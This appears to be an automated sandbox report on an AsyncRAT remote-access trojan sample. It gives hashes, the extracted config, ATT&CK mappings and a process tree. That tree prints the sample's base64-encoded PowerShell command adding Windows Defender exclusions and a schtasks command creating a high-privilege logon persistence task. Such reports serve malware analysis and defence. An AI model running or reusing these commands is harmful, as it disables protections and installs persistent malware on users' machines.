asyncrat | 2ebed6be66514b15e46f9b3afc93a20c9bbfb9aebba07128320b2e56c239e3d9

General

Target

2ebed6be66514b15e46f9b3afc93a20c9bbfb9aebba07128320b2e56c239e3d9.exe
Size

57KB
MD5

ea80d619808889ea8edb799056a67bc1
SHA1

de591d83c5e24498a294366205d0a12d2098385c
SHA256

2ebed6be66514b15e46f9b3afc93a20c9bbfb9aebba07128320b2e56c239e3d9
SHA512

d7e43ccd9a2f4f0d959d49ddc089a90da4e7e00cde0480c849d5078cf6127d5a15f4229067170399e6722a574b43f2121f9cbc8b34768b844583adacaff07929
SSDEEP

1536:KERi5rR21kXfc3dLnUAfUgc2vZnmHYUTmu1ycX9D:3RV6EpUgcTmu1ycX9D

Score

10^/10

asyncrat default defense_evasion discovery rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

C2

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

127.0.0.1:2009

Mutex

jc1XWfeoz50P

Attributes

delay
10
install
true
install_file
executor.exe
install_folder
%Temp%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x001b00000002b13b-20.dat	family_asyncrat

Executes dropped EXE 2 IoCs

pid	Process
5200	PEInstaller.exe
1740	executor.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	executor.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PEInstaller.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
6048	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2988	schtasks.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
5324	powershell.exe
5324	powershell.exe
5440	powershell.exe
5440	powershell.exe
5200	PEInstaller.exe
5200	PEInstaller.exe
5200	PEInstaller.exe
5200	PEInstaller.exe
5200	PEInstaller.exe
5200	PEInstaller.exe
5200	PEInstaller.exe
5200	PEInstaller.exe
5200	PEInstaller.exe
5200	PEInstaller.exe
5200	PEInstaller.exe
5200	PEInstaller.exe
5200	PEInstaller.exe
5200	PEInstaller.exe
5200	PEInstaller.exe
5200	PEInstaller.exe
5200	PEInstaller.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	5324	powershell.exe
Token: SeDebugPrivilege	5440	powershell.exe
Token: SeDebugPrivilege	5200	PEInstaller.exe
Token: SeDebugPrivilege	1740	executor.exe
Token: SeDebugPrivilege	1740	executor.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 124 wrote to memory of 5324	124	2ebed6be66514b15e46f9b3afc93a20c9bbfb9aebba07128320b2e56c239e3d9.exe	78
PID 124 wrote to memory of 5324	124	2ebed6be66514b15e46f9b3afc93a20c9bbfb9aebba07128320b2e56c239e3d9.exe	78
PID 124 wrote to memory of 5440	124	2ebed6be66514b15e46f9b3afc93a20c9bbfb9aebba07128320b2e56c239e3d9.exe	80
PID 124 wrote to memory of 5440	124	2ebed6be66514b15e46f9b3afc93a20c9bbfb9aebba07128320b2e56c239e3d9.exe	80
PID 124 wrote to memory of 5200	124	2ebed6be66514b15e46f9b3afc93a20c9bbfb9aebba07128320b2e56c239e3d9.exe	82
PID 124 wrote to memory of 5200	124	2ebed6be66514b15e46f9b3afc93a20c9bbfb9aebba07128320b2e56c239e3d9.exe	82
PID 124 wrote to memory of 5200	124	2ebed6be66514b15e46f9b3afc93a20c9bbfb9aebba07128320b2e56c239e3d9.exe	82
PID 5200 wrote to memory of 412	5200	PEInstaller.exe	84
PID 5200 wrote to memory of 412	5200	PEInstaller.exe	84
PID 5200 wrote to memory of 412	5200	PEInstaller.exe	84
PID 5200 wrote to memory of 4888	5200	PEInstaller.exe	86
PID 5200 wrote to memory of 4888	5200	PEInstaller.exe	86
PID 5200 wrote to memory of 4888	5200	PEInstaller.exe	86
PID 412 wrote to memory of 2988	412	cmd.exe	88
PID 412 wrote to memory of 2988	412	cmd.exe	88
PID 412 wrote to memory of 2988	412	cmd.exe	88
PID 4888 wrote to memory of 6048	4888	cmd.exe	89
PID 4888 wrote to memory of 6048	4888	cmd.exe	89
PID 4888 wrote to memory of 6048	4888	cmd.exe	89
PID 4888 wrote to memory of 1740	4888	cmd.exe	90
PID 4888 wrote to memory of 1740	4888	cmd.exe	90
PID 4888 wrote to memory of 1740	4888	cmd.exe	90

C:\Users\Admin\AppData\Local\Temp\2ebed6be66514b15e46f9b3afc93a20c9bbfb9aebba07128320b2e56c239e3d9.exe
"C:\Users\Admin\AppData\Local\Temp\2ebed6be66514b15e46f9b3afc93a20c9bbfb9aebba07128320b2e56c239e3d9.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAcgBmACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHgAYwBxACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVABoAGUAcgBlACAAdwBhAHMAIABhAG4AIABlAHIAcgBvAHIAIABlAHgAZQBjAHUAdABpAG4AZwAgAHQAaABpAHMAIABwAHIAbwBnAHIAYQBtAC4AIABDAG8AbgB0AGEAYwB0ACAAdABoAGUAIABhAHUAdABoAG8AcgAgAGYAbwByACAAbQBvAHIAZQAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgAuACcALAAnACcALAAnAE8ASwAnACwAJwBFAHIAcgBvAHIAJwApADwAIwB4AG0AYwAjAD4A"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbQBnACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQByACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHYAcQBnACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGEAYQBzACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5440
- C:\Users\Admin\AppData\Roaming\PEInstaller.exe
  "C:\Users\Admin\AppData\Roaming\PEInstaller.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5200
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "executor" /tr '"C:\Users\Admin\AppData\Local\Temp\executor.exe"' & exit
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:412
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "executor" /tr '"C:\Users\Admin\AppData\Local\Temp\executor.exe"'
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2988
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA42F.tmp.bat""
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4888
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 3
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:6048
  - - C:\Users\Admin\AppData\Local\Temp\executor.exe
      "C:\Users\Admin\AppData\Local\Temp\executor.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1740

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
5568b458661b9ebbd34ed417ebe3f6fe

SHA1
219f6ca76f2075a09b8707868b50f9330e77e21c

SHA256
af6da6acb9b6a02535f6228be5271fa124e303c13f8e2c32f105c51b909f584f

SHA512
6452ffa7a1f63d699b87429fd2c4c4857b450a2c2245b95a785cac435083cdacb750c42e3fc14f2933b43843798942f6fd09d1e4172b1c3c29a69d365f7921b2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mespb1md.zeu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpA42F.tmp.bat

Filesize
155B

MD5
4468c8db5a7deca7077224d5f7319142

SHA1
12f831f7a06b7362bbb178da8149f58d962ac7af

SHA256
b34f4bcb8333ab9d30f6032911a536a13e1c542be55a6c3994100a5d8eff60a0

SHA512
061bc29ce020142b513ef771ebef62e6ce39f95b4520f888eb6404125f17945a5be384e79cb1907cb1d5f235d3b8b175a158e23bea10608236305302d5766bef

Download Submit
C:\Users\Admin\AppData\Roaming\PEInstaller.exe

Filesize
48KB

MD5
a96ef57452d73871dc1045b96fddcf96

SHA1
7a9b28306b0fc32d4281b756be5bc91f53234696

SHA256
2fd4684b115a4b607493596b7fba4d54ddc7d97aec1852fbd60d449f353c2902

SHA512
14db2977907baa98fe81f66fc0b44d360bee92d8b5e53527021fd9ef5f182e3aaa30e5e05ef95b0eac3d09b21074e89dee42c59d8a23b91a3dfa0c4871c3cd8e

Download Submit
memory/124-1-0x0000000000C40000-0x0000000000C54000-memory.dmp

Filesize
80KB

Download
memory/124-2-0x00007FFF42810000-0x00007FFF432D2000-memory.dmp

Filesize
10.8MB

Download
memory/124-0-0x00007FFF42813000-0x00007FFF42815000-memory.dmp

Filesize
8KB

Download
memory/124-33-0x00007FFF42810000-0x00007FFF432D2000-memory.dmp

Filesize
10.8MB

Download
memory/5200-46-0x0000000005270000-0x000000000530C000-memory.dmp

Filesize
624KB

Download
memory/5200-45-0x0000000004DF0000-0x0000000004E56000-memory.dmp

Filesize
408KB

Download
memory/5200-37-0x00000000004A0000-0x00000000004B2000-memory.dmp

Filesize
72KB

Download
memory/5324-15-0x00007FFF42810000-0x00007FFF432D2000-memory.dmp

Filesize
10.8MB

Download
memory/5324-40-0x00007FFF42810000-0x00007FFF432D2000-memory.dmp

Filesize
10.8MB

Download
memory/5324-14-0x00007FFF42810000-0x00007FFF432D2000-memory.dmp

Filesize
10.8MB

Download
memory/5324-44-0x00007FFF42810000-0x00007FFF432D2000-memory.dmp

Filesize
10.8MB

Download
memory/5324-13-0x00007FFF42810000-0x00007FFF432D2000-memory.dmp

Filesize
10.8MB

Download
memory/5324-4-0x0000012F6ED00000-0x0000012F6ED22000-memory.dmp

Filesize
136KB

Download
memory/5324-3-0x00007FFF42810000-0x00007FFF432D2000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads